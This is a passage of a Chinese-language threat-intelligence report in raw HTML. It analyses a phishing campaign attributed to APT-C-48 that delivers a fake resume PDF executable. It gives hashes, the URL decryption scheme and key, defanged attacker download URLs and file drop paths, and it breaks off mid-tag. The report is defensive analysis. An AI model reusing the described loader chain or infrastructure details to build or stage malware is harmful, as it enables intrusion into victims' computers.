[&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;mso-bookmark:一封简历pdf把木马送进了电脑-apt-c-48cnc近期国内钓鱼投递复盘&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;mso-bookmark:二攻击活动分析&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;mso-bookmark:恶意载荷分析&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-family:Calibri;\nmso-ascii-font-family:Calibri;\nmso-fareast-font-family:宋体;\nfont-variant:normal;\ntext-transform:none&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;color: rgb(190, 25, 31);font-size: 17px;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;" mpa-font-style="moavkg9trvq">分析</span></span></span></span></p><p style="margin-left: 0;margin-right: 0;"><span mpa-font-style="moavp7eemwx"><span data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" mpa-font-style="moavp36gasl" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">2</span></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" mpa-font-style="moavmwg9vgd" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">.</span></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">1 初始投递样本（RAR + 伪装 EXE）</span></span></span></span></p><p style="margin-left: 0px;margin-right: 0px;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="0 0 []" mpa-font-style="moavp7ee1d8i">捕获的恶意样本如下所示：</span></p><div><div><p><table style="width:573px;"><tbody><tr><td data-colwidth="109" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d7thg"><font><span leaf="" mpa-font-style="mq7rjrr123tb" style="font-size: 16px;" data-mpa-action-id="mq7rjrrd236v" data-pm-slice="0 0 []">MD5</span></font></span></p></td><td data-colwidth="464" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d718z3"><font><span leaf="" mpa-font-style="mq7rjurvfwn" style="font-size: 16px;" data-mpa-action-id="mq7rjus417cr" data-pm-slice="0 0 []">18be51caa43a4944b39fb73442d61909  </span></font></span></p></td></tr><tr><td data-colwidth="109" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d7is4"><font><span leaf="" mpa-font-style="mq7rk38bgoy" style="font-size: 16px;" data-mpa-action-id="mq7rk38n1uh8" data-pm-slice="0 0 []">文件名称</span></font></span></p></td><td data-colwidth="464" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d712dk"><font><span leaf="" mpa-font-style="mq7rjynmwbb" style="font-size: 16px;" data-mpa-action-id="mq7rjynx1t1n" data-pm-slice="0 0 []">%userprofile%\downloads\个人简历_xx亮.rar</span></font></span></p></td></tr><tr><td data-colwidth="109" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d7hqf"><font><span leaf="" mpa-font-style="mq7rk6rk1qp0" style="font-size: 16px;" data-mpa-action-id="mq7rk6ru12mp" data-pm-slice="0 0 []">文件类型</span></font></span></p></td><td data-colwidth="464" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d71kdv"><font><span leaf="" mpa-font-style="mq7rka1f1pyz" style="font-size: 16px;" data-mpa-action-id="mq7rka1r1tvl" data-pm-slice="0 0 []">压缩包</span></font></span></p></td></tr><tr><td data-colwidth="109" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d71mzw"><font><span leaf="" mpa-font-style="mq7rkduwxb4" style="font-size: 15px;" data-mpa-action-id="mq7rkdv910vs" data-pm-slice="0 0 []">MD5</span></font></span></p></td><td data-colwidth="464" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d7vt6"><font data-mpa-action-id="mq7rkj8r5mn" data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mq7rkj8evti" style="font-size: 15px;">972cc460d4646566cfcbeb3da4e567e9</span></font></span></p></td></tr><tr><td data-colwidth="109" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d7226f"><font><span leaf="" mpa-font-style="mq7rkna37bi" style="font-size: 16px;" data-mpa-action-id="mq7rknaf1ezh" data-pm-slice="0 0 []">文件名称</span></font></span></p></td><td data-colwidth="464" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d71rpe" data-mpa-action-id="mq7rkq95wuv"><font><span leaf="" mpa-font-style="mq7rkq8s528" style="font-size: 16px;">个人简历</span></font><font><span leaf="" mpa-font-style="mq7rkq8s1kbs" style="font-size: 16px;">_xx亮\个人简历_xx亮.pdf .exe</span></font></span></p></td></tr><tr><td data-colwidth="109" style="border-color:#000000;"><p><span style="mso-spacerun: &#39;yes&#39;;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;mso-bidi-font-family: &#39;Times New Roman&#39;;font-size: 14.0000pt;mso-font-kerning: 0.0000pt;" data-pm-slice="0 0 []" mpa-font-style="mo9x19d722fz"><font><span leaf="" mpa-font-style="mq7rku4n99c" style="font-size: 16px;" data-mpa-action-id="mq7rku4z1vgb" data-pm-slice="0 0 []">文件类型</span></font></span></p></td><td data-colwidth="464" style="border-color:#000000;"><p><span style="mso-spacerun:&#39;yes&#39;;font-family:仿宋;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:14.0000pt;mso-font-kerning:0.0000pt;" data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" mpa-font-style="mq7rkxayy1k" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;" data-mpa-action-id="mq7rkxbapf7" data-pm-slice="0 0 []">可执行文件</span></font></span></p></td></tr></tbody></table></p></div></div><p style="text-indent: 2em;" data-pm-slice="0 0 []"><span data-pm-slice="0 0 []"><font face="仿宋"><span mpa-font-style="mo9x54kw1hua" data-pm-slice="0 0 []"><span data-pm-slice="0 0 []"><font face="Cambria"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">当用户运行可执行文件后首先关闭控制台窗口，接着获取用户名信息，下阶段的</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">URL则以加密的形式存放在代码中，解密过程为反转字符串+base64解码+异或+base64解码，密钥：6C 34 37 64 6A 41 73 30 62 23 6E 29 31 76 36 4C。</span></font></span></font></span></span></font></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.47794117647058826" data-w="1224" style="width: 560.01px;height: 267.65px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=6056724a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXL96jmVN2IMuylfrsUxaEygJow4gKK2ma5icG9r21ia4HOScpZ0yefjHxT4ibYAUHiatvFiax56Xs1H4u7rZM1sosavplcUw1SJowQY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/></span><span style=""><span style=""><span style=""><span style=""><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moavnckcm24" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span><span leaf=""><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></span></span></span></span></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style=""><span style=""><span style=""><span style=""><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moavni12n7d" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.65086887835703" data-w="1266" style="width: 560.01px;height: 364.49px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=60599380&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKdtsas1wQ9AWVxn8FTib8yojkqQIXPKR4RNpT8TGMV2F1yTbribIpqZQ1UGiaibdicr87l91GR8O3I7sAdF4HoLDCcsoQ1AibEsNsqk%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span><span leaf=""><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></span></span></span></span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="moavsgzcrg1" data-mpa-action-id="moavsh1b1tb3" data-pm-slice="0 0 []">通过同样方式解密出多个 URL 后，样本连接服务器下载下一阶段脚本与诱饵文档：</span></p><div><div style="text-indent: 2em;"><div><div><p><table style="width: 574px;"><tbody><tr><td data-colwidth="287" style="border-color: rgb(0, 0, 0);"><p><span leaf="">URL</span></p></td><td data-colwidth="287" style="border-color: rgb(0, 0, 0);"><p><span leaf="">本地文件</span></p></td></tr><tr><td data-colwidth="287" style="border-color: rgb(0, 0, 0);"><p><span style="font-size: 14pt;" data-pm-slice="0 0 []"><font><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" mpa-font-style="mq7rl64k1cr3" style="font-size: 16px;" data-mpa-action-id="mq7rl64w15mc" data-pm-slice="0 0 []">https[:]//efb.recume[.]ink//ldhifwdgfjdbcu//qbjhwgf//gdfedjhcuef.vbs</span></span></font></span></p></td><td data-colwidth="287" style="border-color: rgb(0, 0, 0);"><p data-mpa-action-id="mq7rl3kp247e" data-pm-slice="0 0 []"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 14pt;" data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mq7rl3kd1ly" style="font-size: 16px;">C:\Users\</span></span></span><span style="font-size: 16px;" mpa-font-style="mq7rl3kdt5s"><font><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">xxxx</span></span></font></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 14pt;"><span leaf="" mpa-font-style="mq7rl3kd1uf8" style="font-size: 16px;">\AppData\Local\Temp\RuntimeBroke.vbs</span></span></span></p></td></tr><tr><td data-colwidth="287" style="border-color: rgb(0, 0, 0);"><p><span style="font-size: 14pt;" data-pm-slice="0 0 []"><font><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" mpa-font-style="mq7rla5u1ppw" style="font-size: 16px;" data-mpa-action-id="mq7rla67e7f" data-pm-slice="0 0 []">https[:]//mnb.recume[.]ink//ldhifwdgfjdbcu//qbjhwgf//res89ubashm23e.pdf</span></span></font></span></p></td><td data-colwidth="287" style="border-color: rgb(0, 0, 0);"><p data-mpa-action-id="mq7rl198kh6" data-pm-slice="0 0 []"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 14pt;" data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mq7rl18xaf4" style="font-size: 16px;">C:\Users\</span></span></span><span mpa-font-style="mq7rl18y1w0p" style="font-size: 16px;"><span style=""><font><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">xxxx</span></span></font></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style=""><span leaf="">\Desktop\个人简历_</span></span></span><span style=""><font><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">xx</span></span></font></span></span><span style="font-size: 14pt;"><font><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;" mpa-font-style="mq7rl18y1mxh"><span leaf="">亮</span></span></font><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" mpa-font-style="mq7rl18y1pf6" style="font-size: 16px;">.pdf</span></span></span></p></td></tr></tbody></table></p></div></div><p style="text-align: center;text-indent: 0px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3101694915254237" data-w="1180" style="width: 560.01px;height: 173.7px;" src="https://wechat2rss.xlab.app/img-proxy/?k=00bd588f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLy0fMlmXKiagqaCLIBU3yFqFTgtic2icFwxhiaVsNGggaaPicYITRwUibM6Fd7ZCpwQOSSDiakVmbCxWDYWyKLYq4CK2Q1pVF0pxtia0g%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最后通过</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">CreateProcess函数打开诱饵文档，旨在迷惑用户，接着运行刚刚下载的VBS脚本文件（MD5：</span></font></p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AA7FAF33E849513DC3BBD1C5A8F4CA48</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">）。其中的诱饵文档则是伪造了个人简历。</span></font></div></div><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2cynxi7no" data-mpa-action-id="mp2cynz61jwv" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6448818897637796" data-w="1270" style="width: 560.01px;height: 361.14px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=1fea650e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLgdHtSramHIKedb9m8jh9Ribe2kQ7v6Zjv3Tus4grMtez89pYqeiaGo3YI3AExEJCzdiaJyGtWeB2AcFTrWicPVLIpaMwdjJXDYib0%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:一封简历pdf把木马送进了电脑-apt-c-48cnc近期国内钓鱼投递复盘;"><span style="mso-bookmark:二攻击活动分析;"><span style="mso-bookmark:恶意载荷分析;"><span style="mso-bookmark:诱饵-pdf让受害者以为只是看了个简历;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">      该脚本的主要功能则是连接服务器下载最终的远控木马，</span></font><font face="仿宋"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">URL地址为https[:]//klp.recume[.]ink//ldhifwdgfjdbcu//qbjhwgf//hfjfhruiefh.exe,首先将文件下载到临时目录下,接着检查文件是否下载成功，成功则将文件拷贝到C:\Users\Public\Pictures\SearchIndex.exe。</span></font></span></span></span></span></span></span></p><p style="text-align: center;" nodeleaf=""><img 